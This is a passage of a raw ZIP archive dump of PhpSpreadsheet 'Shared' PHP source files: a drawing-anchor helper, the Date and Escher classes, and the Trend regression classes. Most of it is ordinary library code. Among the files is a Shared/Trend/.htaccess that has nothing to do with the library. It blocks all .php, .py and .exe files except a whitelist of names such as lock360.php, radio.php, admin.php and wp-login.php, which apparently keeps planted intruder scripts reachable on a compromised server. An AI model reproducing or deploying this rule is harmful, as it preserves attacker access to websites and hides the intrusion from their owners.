$endColumn) * (1 - $endOffsetX / 1024)); return $distanceX; } /** * Get the vertical distance in pixels between two anchors * The distanceY is found as sum of all the spanning rows minus two offsets. * * @param int $startRow (1-based) * @param int $startOffsetY Offset within start cell measured in 1/256 of the cell height * @param int $endRow (1-based) * @param int $endOffsetY Offset within end cell measured in 1/256 of the cell height * * @return int Vertical distance measured in pixels */ public static function getDistanceY(Worksheet $worksheet, $startRow = 1, $startOffsetY = 0, $endRow = 1, $endOffsetY = 0) { $distanceY = 0; // add the widths of the spanning rows for ($row = $startRow; $row <= $endRow; ++$row) { $distanceY += self::sizeRow($worksheet, $row); } // correct for offsetX in startcell $distanceY -= (int) floor(self::sizeRow($worksheet, $startRow) * $startOffsetY / 256); // correct for offsetX in endcell $distanceY -= (int) floor(self::sizeRow($worksheet, $endRow) * (1 - $endOffsetY / 256)); return $distanceY; } /** * Convert 1-cell anchor coordinates to 2-cell anchor coordinates * This function is ported from PEAR Spreadsheet_Writer_Excel with small modifications. * * Calculate the vertices that define the position of the image as required by * the OBJ record. * * +------------+------------+ * | A | B | * +-----+------------+------------+ * | |(x1,y1) | | * | 1 |(A1)._______|______ | * | | | | | * | | | | | * +-----+----| BITMAP |-----+ * | | | | | * | 2 | |______________. | * | | | (B2)| * | | | (x2,y2)| * +---- +------------+------------+ * * Example of a bitmap that covers some of the area from cell A1 to cell B2. * * Based on the width and height of the bitmap we need to calculate 8 vars: * $col_start, $row_start, $col_end, $row_end, $x1, $y1, $x2, $y2. * The width and height of the cells are also variable and have to be taken into * account. * The values of $col_start and $row_start are passed in from the calling * function. The values of $col_end and $row_end are calculated by subtracting * the width and height of the bitmap from the width and height of the * underlying cells. * The vertices are expressed as a percentage of the underlying cell width as * follows (rhs values are in pixels): * * x1 = X / W *1024 * y1 = Y / H *256 * x2 = (X-1) / W *1024 * y2 = (Y-1) / H *256 * * Where: X is distance from the left side of the underlying cell * Y is distance from the top of the underlying cell * W is the width of the cell * H is the height of the cell * * @param string $coordinates E.g. 'A1' * @param int $offsetX Horizontal offset in pixels * @param int $offsetY Vertical offset in pixels * @param int $width Width in pixels * @param int $height Height in pixels * * @return null|array */ public static function oneAnchor2twoAnchor(Worksheet $worksheet, $coordinates, $offsetX, $offsetY, $width, $height) { [$col_start, $row] = Coordinate::indexesFromString($coordinates); $row_start = $row - 1; $x1 = $offsetX; $y1 = $offsetY; // Initialise end cell to the same as the start cell $col_end = $col_start; // Col containing lower right corner of object $row_end = $row_start; // Row containing bottom right corner of object // Zero the specified offset if greater than the cell dimensions if ($x1 >= self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_start))) { $x1 = 0; } if ($y1 >= self::sizeRow($worksheet, $row_start + 1)) { $y1 = 0; } $width = $width + $x1 - 1; $height = $height + $y1 - 1; // Subtract the underlying cell widths to find the end cell of the image while ($width >= self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end))) { $width -= self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end)); ++$col_end; } // Subtract the underlying cell heights to find the end cell of the image while ($height >= self::sizeRow($worksheet, $row_end + 1)) { $height -= self::sizeRow($worksheet, $row_end + 1); ++$row_end; } // Bitmap isn't allowed to start or finish in a hidden cell, i.e. a cell // with zero height or width. if (self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_start)) == 0) { return null; } if (self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end)) == 0) { return null; } if (self::sizeRow($worksheet, $row_start + 1) == 0) { return null; } if (self::sizeRow($worksheet, $row_end + 1) == 0) { return null; } // Convert the pixel values to the percentage value expected by Excel $x1 = $x1 / self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_start)) * 1024; $y1 = $y1 / self::sizeRow($worksheet, $row_start + 1) * 256; $x2 = ($width + 1) / self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end)) * 1024; // Distance to right side of object $y2 = ($height + 1) / self::sizeRow($worksheet, $row_end + 1) * 256; // Distance to bottom of object $startCoordinates = Coordinate::stringFromColumnIndex($col_start) . ($row_start + 1); $endCoordinates = Coordinate::stringFromColumnIndex($col_end) . ($row_end + 1); return [ 'startCoordinates' => $startCoordinates, 'startOffsetX' => $x1, 'startOffsetY' => $y1, 'endCoordinates' => $endCoordinates, 'endOffsetX' => $x2, 'endOffsetY' => $y2, ]; } } PK 3u\Nbe�JK JK Shared/Date.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; use DateTime; use DateTimeInterface; use DateTimeZone; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDate; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class Date { /** constants */ const CALENDAR_WINDOWS_1900 = 1900; // Base date of 1st Jan 1900 = 1.0 const CALENDAR_MAC_1904 = 1904; // Base date of 2nd Jan 1904 = 1.0 /** * Names of the months of the year, indexed by shortname * Planned usage for locale settings. * * @var string[] */ public static $monthNames = [ 'Jan' => 'January', 'Feb' => 'February', 'Mar' => 'March', 'Apr' => 'April', 'May' => 'May', 'Jun' => 'June', 'Jul' => 'July', 'Aug' => 'August', 'Sep' => 'September', 'Oct' => 'October', 'Nov' => 'November', 'Dec' => 'December', ]; /** * @var string[] */ public static $numberSuffixes = [ 'st', 'nd', 'rd', 'th', ]; /** * Base calendar year to use for calculations * Value is either CALENDAR_WINDOWS_1900 (1900) or CALENDAR_MAC_1904 (1904). * * @var int */ protected static $excelCalendar = self::CALENDAR_WINDOWS_1900; /** * Default timezone to use for DateTime objects. * * @var null|DateTimeZone */ protected static $defaultTimeZone; /** * Set the Excel calendar (Windows 1900 or Mac 1904). * * @param int $baseYear Excel base date (1900 or 1904) * * @return bool Success or failure */ public static function setExcelCalendar($baseYear) { if ( ($baseYear == self::CALENDAR_WINDOWS_1900) || ($baseYear == self::CALENDAR_MAC_1904) ) { self::$excelCalendar = $baseYear; return true; } return false; } /** * Return the Excel calendar (Windows 1900 or Mac 1904). * * @return int Excel base date (1900 or 1904) */ public static function getExcelCalendar() { return self::$excelCalendar; } /** * Set the Default timezone to use for dates. * * @param null|DateTimeZone|string $timeZone The timezone to set for all Excel datetimestamp to PHP DateTime Object conversions * * @return bool Success or failure */ public static function setDefaultTimezone($timeZone) { try { $timeZone = self::validateTimeZone($timeZone); self::$defaultTimeZone = $timeZone; $retval = true; } catch (PhpSpreadsheetException $e) { $retval = false; } return $retval; } /** * Return the Default timezone, or UTC if default not set. */ public static function getDefaultTimezone(): DateTimeZone { return self::$defaultTimeZone ?? new DateTimeZone('UTC'); } /** * Return the Default timezone, or local timezone if default is not set. */ public static function getDefaultOrLocalTimezone(): DateTimeZone { return self::$defaultTimeZone ?? new DateTimeZone(date_default_timezone_get()); } /** * Return the Default timezone even if null. */ public static function getDefaultTimezoneOrNull(): ?DateTimeZone { return self::$defaultTimeZone; } /** * Validate a timezone. * * @param null|DateTimeZone|string $timeZone The timezone to validate, either as a timezone string or object * * @return ?DateTimeZone The timezone as a timezone object */ private static function validateTimeZone($timeZone) { if ($timeZone instanceof DateTimeZone || $timeZone === null) { return $timeZone; } if (in_array($timeZone, DateTimeZone::listIdentifiers(DateTimeZone::ALL_WITH_BC))) { return new DateTimeZone($timeZone); } throw new PhpSpreadsheetException('Invalid timezone'); } /** * @param mixed $value Converts a date/time in ISO-8601 standard format date string to an Excel * serialized timestamp. * See https://en.wikipedia.org/wiki/ISO_8601 for details of the ISO-8601 standard format. * * @return float|int */ public static function convertIsoDate($value) { if (!is_string($value)) { throw new Exception('Non-string value supplied for Iso Date conversion'); } $date = new DateTime($value); $dateErrors = DateTime::getLastErrors(); if (is_array($dateErrors) && ($dateErrors['warning_count'] > 0 || $dateErrors['error_count'] > 0)) { throw new Exception("Invalid string $value supplied for datatype Date"); } $newValue = SharedDate::PHPToExcel($date); if ($newValue === false) { throw new Exception("Invalid string $value supplied for datatype Date"); } if (preg_match('/^\\s*\\d?\\d:\\d\\d(:\\d\\d([.]\\d+)?)?\\s*(am|pm)?\\s*$/i', $value) == 1) { $newValue = fmod($newValue, 1.0); } return $newValue; } /** * Convert a MS serialized datetime value from Excel to a PHP Date/Time object. * * @param float|int $excelTimestamp MS Excel serialized date/time value * @param null|DateTimeZone|string $timeZone The timezone to assume for the Excel timestamp, * if you don't want to treat it as a UTC value * Use the default (UTC) unless you absolutely need a conversion * * @return DateTime PHP date/time object */ public static function excelToDateTimeObject($excelTimestamp, $timeZone = null) { $timeZone = ($timeZone === null) ? self::getDefaultTimezone() : self::validateTimeZone($timeZone); if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_EXCEL) { if ($excelTimestamp < 1 && self::$excelCalendar === self::CALENDAR_WINDOWS_1900) { // Unix timestamp base date $baseDate = new DateTime('1970-01-01', $timeZone); } else { // MS Excel calendar base dates if (self::$excelCalendar == self::CALENDAR_WINDOWS_1900) { // Allow adjustment for 1900 Leap Year in MS Excel $baseDate = ($excelTimestamp < 60) ? new DateTime('1899-12-31', $timeZone) : new DateTime('1899-12-30', $timeZone); } else { $baseDate = new DateTime('1904-01-01', $timeZone); } } } else { $baseDate = new DateTime('1899-12-30', $timeZone); } $days = floor($excelTimestamp); $partDay = $excelTimestamp - $days; $hours = floor($partDay * 24); $partDay = $partDay * 24 - $hours; $minutes = floor($partDay * 60); $partDay = $partDay * 60 - $minutes; $seconds = round($partDay * 60); if ($days >= 0) { $days = '+' . $days; } $interval = $days . ' days'; return $baseDate->modify($interval) ->setTime((int) $hours, (int) $minutes, (int) $seconds); } /** * Convert a MS serialized datetime value from Excel to a unix timestamp. * The use of Unix timestamps, and therefore this function, is discouraged. * They are not Y2038-safe on a 32-bit system, and have no timezone info. * * @param float|int $excelTimestamp MS Excel serialized date/time value * @param null|DateTimeZone|string $timeZone The timezone to assume for the Excel timestamp, * if you don't want to treat it as a UTC value * Use the default (UTC) unless you absolutely need a conversion * * @return int Unix timetamp for this date/time */ public static function excelToTimestamp($excelTimestamp, $timeZone = null) { return (int) self::excelToDateTimeObject($excelTimestamp, $timeZone) ->format('U'); } /** * Convert a date from PHP to an MS Excel serialized date/time value. * * @param mixed $dateValue PHP DateTime object or a string - Unix timestamp is also permitted, but discouraged; * not Y2038-safe on a 32-bit system, and no timezone info * * @return false|float Excel date/time value * or boolean FALSE on failure */ public static function PHPToExcel($dateValue) { if ((is_object($dateValue)) && ($dateValue instanceof DateTimeInterface)) { return self::dateTimeToExcel($dateValue); } elseif (is_numeric($dateValue)) { return self::timestampToExcel($dateValue); } elseif (is_string($dateValue)) { return self::stringToExcel($dateValue); } return false; } /** * Convert a PHP DateTime object to an MS Excel serialized date/time value. * * @param DateTimeInterface $dateValue PHP DateTime object * * @return float MS Excel serialized date/time value */ public static function dateTimeToExcel(DateTimeInterface $dateValue) { return self::formattedPHPToExcel( (int) $dateValue->format('Y'), (int) $dateValue->format('m'), (int) $dateValue->format('d'), (int) $dateValue->format('H'), (int) $dateValue->format('i'), (int) $dateValue->format('s') ); } /** * Convert a Unix timestamp to an MS Excel serialized date/time value. * The use of Unix timestamps, and therefore this function, is discouraged. * They are not Y2038-safe on a 32-bit system, and have no timezone info. * * @param float|int|string $unixTimestamp Unix Timestamp * * @return false|float MS Excel serialized date/time value */ public static function timestampToExcel($unixTimestamp) { if (!is_numeric($unixTimestamp)) { return false; } return self::dateTimeToExcel(new DateTime('@' . $unixTimestamp)); } /** * formattedPHPToExcel. * * @param int $year * @param int $month * @param int $day * @param int $hours * @param int $minutes * @param int $seconds * * @return float Excel date/time value */ public static function formattedPHPToExcel($year, $month, $day, $hours = 0, $minutes = 0, $seconds = 0) { if (self::$excelCalendar == self::CALENDAR_WINDOWS_1900) { // // Fudge factor for the erroneous fact that the year 1900 is treated as a Leap Year in MS Excel // This affects every date following 28th February 1900 // $excel1900isLeapYear = true; if (($year == 1900) && ($month <= 2)) { $excel1900isLeapYear = false; } $myexcelBaseDate = 2415020; } else { $myexcelBaseDate = 2416481; $excel1900isLeapYear = false; } // Julian base date Adjustment if ($month > 2) { $month -= 3; } else { $month += 9; --$year; } // Calculate the Julian Date, then subtract the Excel base date (JD 2415020 = 31-Dec-1899 Giving Excel Date of 0) $century = (int) substr((string) $year, 0, 2); $decade = (int) substr((string) $year, 2, 2); $excelDate = floor((146097 * $century) / 4) + floor((1461 * $decade) / 4) + floor((153 * $month + 2) / 5) + $day + 1721119 - $myexcelBaseDate + $excel1900isLeapYear; $excelTime = (($hours * 3600) + ($minutes * 60) + $seconds) / 86400; return (float) $excelDate + $excelTime; } /** * Is a given cell a date/time? * * @param mixed $value * * @return bool */ public static function isDateTime(Cell $cell, $value = null, bool $dateWithoutTimeOkay = true) { $result = false; $worksheet = $cell->getWorksheetOrNull(); $spreadsheet = ($worksheet === null) ? null : $worksheet->getParent(); if ($worksheet !== null && $spreadsheet !== null) { $index = $spreadsheet->getActiveSheetIndex(); $selected = $worksheet->getSelectedCells(); try { $result = is_numeric($value ?? $cell->getCalculatedValue()) && self::isDateTimeFormat( $worksheet->getStyle( $cell->getCoordinate() )->getNumberFormat(), $dateWithoutTimeOkay ); } catch (Exception $e) { // Result is already false, so no need to actually do anything here } $worksheet->setSelectedCells($selected); $spreadsheet->setActiveSheetIndex($index); } return $result; } /** * Is a given NumberFormat code a date/time format code? * * @return bool */ public static function isDateTimeFormat(NumberFormat $excelFormatCode, bool $dateWithoutTimeOkay = true) { return self::isDateTimeFormatCode((string) $excelFormatCode->getFormatCode(), $dateWithoutTimeOkay); } private const POSSIBLE_DATETIME_FORMAT_CHARACTERS = 'eymdHs'; private const POSSIBLE_TIME_FORMAT_CHARACTERS = 'Hs'; // note - no 'm' due to ambiguity /** * Is a given number format code a date/time? * * @param string $excelFormatCode * * @return bool */ public static function isDateTimeFormatCode($excelFormatCode, bool $dateWithoutTimeOkay = true) { if (strtolower($excelFormatCode) === strtolower(NumberFormat::FORMAT_GENERAL)) { // "General" contains an epoch letter 'e', so we trap for it explicitly here (case-insensitive check) return false; } if (preg_match('/[0#]E[+-]0/i', $excelFormatCode)) { // Scientific format return false; } // Switch on formatcode if (in_array($excelFormatCode, NumberFormat::DATE_TIME_OR_DATETIME_ARRAY, true)) { return $dateWithoutTimeOkay || in_array($excelFormatCode, NumberFormat::TIME_OR_DATETIME_ARRAY); } // Typically number, currency or accounting (or occasionally fraction) formats if ((substr($excelFormatCode, 0, 1) == '_') || (substr($excelFormatCode, 0, 2) == '0 ')) { return false; } // Some "special formats" provided in German Excel versions were detected as date time value, // so filter them out here - "\C\H\-00000" (Switzerland) and "\D-00000" (Germany). if (\strpos($excelFormatCode, '-00000') !== false) { return false; } $possibleFormatCharacters = $dateWithoutTimeOkay ? self::POSSIBLE_DATETIME_FORMAT_CHARACTERS : self::POSSIBLE_TIME_FORMAT_CHARACTERS; // Try checking for any of the date formatting characters that don't appear within square braces if (preg_match('/(^|\])[^\[]*[' . $possibleFormatCharacters . ']/i', $excelFormatCode)) { // We might also have a format mask containing quoted strings... // we don't want to test for any of our characters within the quoted blocks if (strpos($excelFormatCode, '"') !== false) { $segMatcher = false; foreach (explode('"', $excelFormatCode) as $subVal) { // Only test in alternate array entries (the non-quoted blocks) $segMatcher = $segMatcher === false; if ( $segMatcher && (preg_match('/(^|\])[^\[]*[' . $possibleFormatCharacters . ']/i', $subVal)) ) { return true; } } return false; } return true; } // No date... return false; } /** * Convert a date/time string to Excel time. * * @param string $dateValue Examples: '2009-12-31', '2009-12-31 15:59', '2009-12-31 15:59:10' * * @return false|float Excel date/time serial value */ public static function stringToExcel($dateValue) { if (strlen($dateValue) < 2) { return false; } if (!preg_match('/^(\d{1,4}[ \.\/\-][A-Z]{3,9}([ \.\/\-]\d{1,4})?|[A-Z]{3,9}[ \.\/\-]\d{1,4}([ \.\/\-]\d{1,4})?|\d{1,4}[ \.\/\-]\d{1,4}([ \.\/\-]\d{1,4})?)( \d{1,2}:\d{1,2}(:\d{1,2})?)?$/iu', $dateValue)) { return false; } $dateValueNew = DateTimeExcel\DateValue::fromString($dateValue); if (!is_float($dateValueNew)) { return false; } if (strpos($dateValue, ':') !== false) { $timeValue = DateTimeExcel\TimeValue::fromString($dateValue); if (!is_float($timeValue)) { return false; } $dateValueNew += $timeValue; } return $dateValueNew; } /** * Converts a month name (either a long or a short name) to a month number. * * @param string $monthName Month name or abbreviation * * @return int|string Month number (1 - 12), or the original string argument if it isn't a valid month name */ public static function monthStringToNumber($monthName) { $monthIndex = 1; foreach (self::$monthNames as $shortMonthName => $longMonthName) { if (($monthName === $longMonthName) || ($monthName === $shortMonthName)) { return $monthIndex; } ++$monthIndex; } return $monthName; } /** * Strips an ordinal from a numeric value. * * @param string $day Day number with an ordinal * * @return int|string The integer value with any ordinal stripped, or the original string argument if it isn't a valid numeric */ public static function dayStringToNumber($day) { $strippedDayValue = (str_replace(self::$numberSuffixes, '', $day)); if (is_numeric($strippedDayValue)) { return (int) $strippedDayValue; } return $day; } public static function dateTimeFromTimestamp(string $date, ?DateTimeZone $timeZone = null): DateTime { $dtobj = DateTime::createFromFormat('U', $date) ?: new DateTime(); $dtobj->setTimeZone($timeZone ?? self::getDefaultOrLocalTimezone()); return $dtobj; } public static function formattedDateTimeFromTimestamp(string $date, string $format, ?DateTimeZone $timeZone = null): string { $dtobj = self::dateTimeFromTimestamp($date, $timeZone); return $dtobj->format($format); } } PK 3u\^l� � Shared/Escher.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared; class Escher { /** * Drawing Group Container. * * @var ?Escher\DggContainer */ private $dggContainer; /** * Drawing Container. * * @var ?Escher\DgContainer */ private $dgContainer; /** * Get Drawing Group Container. * * @return ?Escher\DggContainer */ public function getDggContainer() { return $this->dggContainer; } /** * Set Drawing Group Container. * * @param Escher\DggContainer $dggContainer * * @return Escher\DggContainer */ public function setDggContainer($dggContainer) { return $this->dggContainer = $dggContainer; } /** * Get Drawing Container. * * @return ?Escher\DgContainer */ public function getDgContainer() { return $this->dgContainer; } /** * Set Drawing Container. * * @param Escher\DgContainer $dgContainer * * @return Escher\DgContainer */ public function setDgContainer($dgContainer) { return $this->dgContainer = $dgContainer; } } PK 3u\����0 �0 Shared/Trend/BestFit.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; abstract class BestFit { /** * Indicator flag for a calculation error. * * @var bool */ protected $error = false; /** * Algorithm type to use for best-fit. * * @var string */ protected $bestFitType = 'undetermined'; /** * Number of entries in the sets of x- and y-value arrays. * * @var int */ protected $valueCount = 0; /** * X-value dataseries of values. * * @var float[] */ protected $xValues = []; /** * Y-value dataseries of values. * * @var float[] */ protected $yValues = []; /** * Flag indicating whether values should be adjusted to Y=0. * * @var bool */ protected $adjustToZero = false; /** * Y-value series of best-fit values. * * @var float[] */ protected $yBestFitValues = []; /** @var float */ protected $goodnessOfFit = 1; /** @var float */ protected $stdevOfResiduals = 0; /** @var float */ protected $covariance = 0; /** @var float */ protected $correlation = 0; /** @var float */ protected $SSRegression = 0; /** @var float */ protected $SSResiduals = 0; /** @var float */ protected $DFResiduals = 0; /** @var float */ protected $f = 0; /** @var float */ protected $slope = 0; /** @var float */ protected $slopeSE = 0; /** @var float */ protected $intersect = 0; /** @var float */ protected $intersectSE = 0; /** @var float */ protected $xOffset = 0; /** @var float */ protected $yOffset = 0; /** @return bool */ public function getError() { return $this->error; } /** @return string */ public function getBestFitType() { return $this->bestFitType; } /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ abstract public function getValueOfYForX($xValue); /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ abstract public function getValueOfXForY($yValue); /** * Return the original set of X-Values. * * @return float[] X-Values */ public function getXValues() { return $this->xValues; } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display * * @return string */ abstract public function getEquation($dp = 0); /** * Return the Slope of the line. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getSlope($dp = 0) { if ($dp != 0) { return round($this->slope, $dp); } return $this->slope; } /** * Return the standard error of the Slope. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getSlopeSE($dp = 0) { if ($dp != 0) { return round($this->slopeSE, $dp); } return $this->slopeSE; } /** * Return the Value of X where it intersects Y = 0. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getIntersect($dp = 0) { if ($dp != 0) { return round($this->intersect, $dp); } return $this->intersect; } /** * Return the standard error of the Intersect. * * @param int $dp Number of places of decimal precision to display * * @return float */ public function getIntersectSE($dp = 0) { if ($dp != 0) { return round($this->intersectSE, $dp); } return $this->intersectSE; } /** * Return the goodness of fit for this regression. * * @param int $dp Number of places of decimal precision to return * * @return float */ public function getGoodnessOfFit($dp = 0) { if ($dp != 0) { return round($this->goodnessOfFit, $dp); } return $this->goodnessOfFit; } /** * Return the goodness of fit for this regression. * * @param int $dp Number of places of decimal precision to return * * @return float */ public function getGoodnessOfFitPercent($dp = 0) { if ($dp != 0) { return round($this->goodnessOfFit * 100, $dp); } return $this->goodnessOfFit * 100; } /** * Return the standard deviation of the residuals for this regression. * * @param int $dp Number of places of decimal precision to return * * @return float */ public function getStdevOfResiduals($dp = 0) { if ($dp != 0) { return round($this->stdevOfResiduals, $dp); } return $this->stdevOfResiduals; } /** * @param int $dp Number of places of decimal precision to return * * @return float */ public function getSSRegression($dp = 0) { if ($dp != 0) { return round($this->SSRegression, $dp); } return $this->SSRegression; } /** * @param int $dp Number of places of decimal precision to return * * @return float */ public function getSSResiduals($dp = 0) { if ($dp != 0) { return round($this->SSResiduals, $dp); } return $this->SSResiduals; } /** * @param int $dp Number of places of decimal precision to return * * @return float */ public function getDFResiduals($dp = 0) { if ($dp != 0) { return round($this->DFResiduals, $dp); } return $this->DFResiduals; } /** * @param int $dp Number of places of decimal precision to return * * @return float */ public function getF($dp = 0) { if ($dp != 0) { return round($this->f, $dp); } return $this->f; } /** * @param int $dp Number of places of decimal precision to return * * @return float */ public function getCovariance($dp = 0) { if ($dp != 0) { return round($this->covariance, $dp); } return $this->covariance; } /** * @param int $dp Number of places of decimal precision to return * * @return float */ public function getCorrelation($dp = 0) { if ($dp != 0) { return round($this->correlation, $dp); } return $this->correlation; } /** * @return float[] */ public function getYBestFitValues() { return $this->yBestFitValues; } /** @var mixed */ private static $scrutinizerZeroPointZero = 0.0; /** * @param mixed $x * @param mixed $y */ private static function scrutinizerLooseCompare($x, $y): bool { return $x == $y; } /** * @param float $sumX * @param float $sumY * @param float $sumX2 * @param float $sumY2 * @param float $sumXY * @param float $meanX * @param float $meanY * @param bool|int $const */ protected function calculateGoodnessOfFit($sumX, $sumY, $sumX2, $sumY2, $sumXY, $meanX, $meanY, $const): void { $SSres = $SScov = $SStot = $SSsex = 0.0; foreach ($this->xValues as $xKey => $xValue) { $bestFitY = $this->yBestFitValues[$xKey] = $this->getValueOfYForX($xValue); $SSres += ($this->yValues[$xKey] - $bestFitY) * ($this->yValues[$xKey] - $bestFitY); if ($const === true) { $SStot += ($this->yValues[$xKey] - $meanY) * ($this->yValues[$xKey] - $meanY); } else { $SStot += $this->yValues[$xKey] * $this->yValues[$xKey]; } $SScov += ($this->xValues[$xKey] - $meanX) * ($this->yValues[$xKey] - $meanY); if ($const === true) { $SSsex += ($this->xValues[$xKey] - $meanX) * ($this->xValues[$xKey] - $meanX); } else { $SSsex += $this->xValues[$xKey] * $this->xValues[$xKey]; } } $this->SSResiduals = $SSres; $this->DFResiduals = $this->valueCount - 1 - ($const === true ? 1 : 0); if ($this->DFResiduals == 0.0) { $this->stdevOfResiduals = 0.0; } else { $this->stdevOfResiduals = sqrt($SSres / $this->DFResiduals); } // Scrutinizer thinks $SSres == $SStot is always true. It is wrong. if ($SStot == self::$scrutinizerZeroPointZero || self::scrutinizerLooseCompare($SSres, $SStot)) { $this->goodnessOfFit = 1; } else { $this->goodnessOfFit = 1 - ($SSres / $SStot); } $this->SSRegression = $this->goodnessOfFit * $SStot; $this->covariance = $SScov / $this->valueCount; $this->correlation = ($this->valueCount * $sumXY - $sumX * $sumY) / sqrt(($this->valueCount * $sumX2 - $sumX ** 2) * ($this->valueCount * $sumY2 - $sumY ** 2)); $this->slopeSE = $this->stdevOfResiduals / sqrt($SSsex); $this->intersectSE = $this->stdevOfResiduals * sqrt(1 / ($this->valueCount - ($sumX * $sumX) / $sumX2)); if ($this->SSResiduals != 0.0) { if ($this->DFResiduals == 0.0) { $this->f = 0.0; } else { $this->f = $this->SSRegression / ($this->SSResiduals / $this->DFResiduals); } } else { if ($this->DFResiduals == 0.0) { $this->f = 0.0; } else { $this->f = $this->SSRegression / $this->DFResiduals; } } } /** @return float|int */ private function sumSquares(array $values) { return array_sum( array_map( function ($value) { return $value ** 2; }, $values ) ); } /** * @param float[] $yValues * @param float[] $xValues */ protected function leastSquareFit(array $yValues, array $xValues, bool $const): void { // calculate sums $sumValuesX = array_sum($xValues); $sumValuesY = array_sum($yValues); $meanValueX = $sumValuesX / $this->valueCount; $meanValueY = $sumValuesY / $this->valueCount; $sumSquaresX = $this->sumSquares($xValues); $sumSquaresY = $this->sumSquares($yValues); $mBase = $mDivisor = 0.0; $xy_sum = 0.0; for ($i = 0; $i < $this->valueCount; ++$i) { $xy_sum += $xValues[$i] * $yValues[$i]; if ($const === true) { $mBase += ($xValues[$i] - $meanValueX) * ($yValues[$i] - $meanValueY); $mDivisor += ($xValues[$i] - $meanValueX) * ($xValues[$i] - $meanValueX); } else { $mBase += $xValues[$i] * $yValues[$i]; $mDivisor += $xValues[$i] * $xValues[$i]; } } // calculate slope $this->slope = $mBase / $mDivisor; // calculate intersect $this->intersect = ($const === true) ? $meanValueY - ($this->slope * $meanValueX) : 0.0; $this->calculateGoodnessOfFit($sumValuesX, $sumValuesY, $sumSquaresX, $sumSquaresY, $xy_sum, $meanValueX, $meanValueY, $const); } /** * Define the regression. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ public function __construct($yValues, $xValues = []) { // Calculate number of points $yValueCount = count($yValues); $xValueCount = count($xValues); // Define X Values if necessary if ($xValueCount === 0) { $xValues = range(1, $yValueCount); } elseif ($yValueCount !== $xValueCount) { // Ensure both arrays of points are the same size $this->error = true; } $this->valueCount = $yValueCount; $this->xValues = $xValues; $this->yValues = $yValues; } } PK 3u\9��ܤ � Shared/Trend/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK 3u\J��Z Z # Shared/Trend/LogarithmicBestFit.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class LogarithmicBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). * * @var string */ protected $bestFitType = 'logarithmic'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX($xValue) { return $this->getIntersect() + $this->getSlope() * log($xValue - $this->xOffset); } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY($yValue) { return exp(($yValue - $this->getIntersect()) / $this->getSlope()); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display * * @return string */ public function getEquation($dp = 0) { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $slope . ' * log(' . $intersect . ' * X)'; } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function logarithmicRegression(array $yValues, array $xValues, bool $const): void { $adjustedYValues = array_map( function ($value) { return ($value < 0.0) ? 0 - log(abs($value)) : log($value); }, $yValues ); $this->leastSquareFit($adjustedYValues, $xValues, $const); } /** * Define the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression * @param bool $const */ public function __construct($yValues, $xValues = [], $const = true) { parent::__construct($yValues, $xValues); if (!$this->error) { $this->logarithmicRegression($yValues, $xValues, (bool) $const); } } } PK 3u\��\ \ Shared/Trend/LinearBestFit.phpnu �[��� <?php namespace PhpOffice\PhpSpreadsheet\Shared\Trend; class LinearBestFit extends BestFit { /** * Algorithm type to use for best-fit * (Name of this Trend class). * * @var string */ protected $bestFitType = 'linear'; /** * Return the Y-Value for a specified value of X. * * @param float $xValue X-Value * * @return float Y-Value */ public function getValueOfYForX($xValue) { return $this->getIntersect() + $this->getSlope() * $xValue; } /** * Return the X-Value for a specified value of Y. * * @param float $yValue Y-Value * * @return float X-Value */ public function getValueOfXForY($yValue) { return ($yValue - $this->getIntersect()) / $this->getSlope(); } /** * Return the Equation of the best-fit line. * * @param int $dp Number of places of decimal precision to display * * @return string */ public function getEquation($dp = 0) { $slope = $this->getSlope($dp); $intersect = $this->getIntersect($dp); return 'Y = ' . $intersect . ' + ' . $slope . ' * X'; } /** * Execute the regression and calculate the goodness of fit for a set of X and Y data values. * * @param float[] $yValues The set of Y-values for this regression * @param float[] $xValues The set of X-values for this regression */ private function linearRegression(array $yValues, array $xValues, bool $const): void { $this->leastSquareFit($yValues, $xValues, $const); } /** * Define the regression and calculate the 